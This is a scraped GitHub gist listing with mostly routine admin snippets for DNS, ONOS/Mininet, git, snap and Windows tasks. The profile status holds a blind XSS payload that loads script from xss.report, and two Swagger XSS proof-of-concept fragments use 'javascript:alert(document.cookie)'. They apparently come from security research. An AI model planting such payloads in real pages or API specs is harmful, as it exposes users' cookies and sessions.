Skip to content

Instantly share code, notes, and snippets.

View edoardottt's full-sized avatar
👹
'"><script src=//xss.report/c/edoardottt></script>

Edoardo Ottavianelli edoardottt

👹
'"><script src=//xss.report/c/edoardottt></script>
View GitHub Profile
@edoardottt
edoardottt / set-dns-ubuntu.sh
Last active May 28, 2023 06:58
Set persistent DNS on Ubuntu
# 1. Set global DNS settings using systemd-resolved
# 2.
sudo systemctl restart systemd-resolved
# 3.
sudo rm -f /etc/resolv.conf
# 4.
sudo ln -s /run/systemd/resolve/resolv.conf /etc/resolv.conf
26262526262526252626262526 0
2626252513141313 1
14141414131313131414131413 0
1413141314141314131413141414 0
2525252526262626252625252526 0
25252626252526262526252525 0
14131414131414131414131314 0
2525262526252525262525252626 0
252626131414 1
1313141413141313131314131414 0
swagger: "2.0"
info:
title: edoardottt XSS
description: XSS ONOS POC
version: 1.0.0
host: edoardottt.com
basePath: /v1
schemes:
- https
{
"swagger" : "2.0",
"info" : {
"version" : "1.0.100",
"title" : "Swagger UI v2.2.10 XSS POC",
"description" : "Swagger UI v2.2.10 XSS POC",
"contact" : {
"name" : "edoardottt",
"url" : "javascript:alert(document.cookie)",
"email" : "edoardott@gmail.com"
@edoardottt
edoardottt / connect-onos-and-mininet.md
Last active July 13, 2023 10:22
How to Connect ONOS and Mininet VM

ONOS:

I assume ONOS IP is 192.168.1.8.

  • bazel run onos-local or bazelisk run onos-local
  • If you encounter errors with Python2 Interpreter, try adding --host_force_python=PY3
  • ssh -p 8101 onos@172.17.0.1 (default password is rocks)
  • app activate org.onosproject.fwd
  • app activate org.onosproject.openflow

Consider using bazel clean --expunge --async or bazelisk clean --expunge --async to completely remove the entire working tree created by a Bazel instance (doc reference)

import sys,csv
table_name="nome_tabella"
values="(column1, column2, column3, ...)"
# INSERT INTO table_name
#VALUES (value1, value2, value3, ...),
#(value1, value2, value3, ...),
#(value1, value2, value3, ...);
# If you want to delete all local branches that are already merged into master, you can use the following command:
# ref: https://stackoverflow.com/questions/13064613/how-to-prune-local-tracking-branches-that-do-not-exist-on-remote-anymore
git branch --merged master | grep -v '^[ *]*master$' | xargs git branch -d
@edoardottt
edoardottt / win-change-keyboard-layout.ps1
Created September 18, 2022 19:35
Change keyboard layout on WIndows
Set-WinUserLanguageList -LanguageList it -Force
@edoardottt
edoardottt / gitoverssh.sh
Created June 21, 2022 05:44
Force git to use SSH, even for HTTPS URLs
git config --global url."git@github.com:".insteadOf "https://github.com/"
@edoardottt
edoardottt / remove-old-snaps.sh
Created February 17, 2022 17:43
How to remove old version of installed snaps
# Credits:
# - https://superuser.com/questions/1310825/how-to-remove-old-version-of-installed-snaps
# - https://superuser.com/users/185554/gert-van-den-berg
sudo snap list --all | while read snapname ver rev trk pub notes; do if [[ $notes = *disabled* ]]; then sudo snap remove "$snapname" --revision="$rev"; fi; done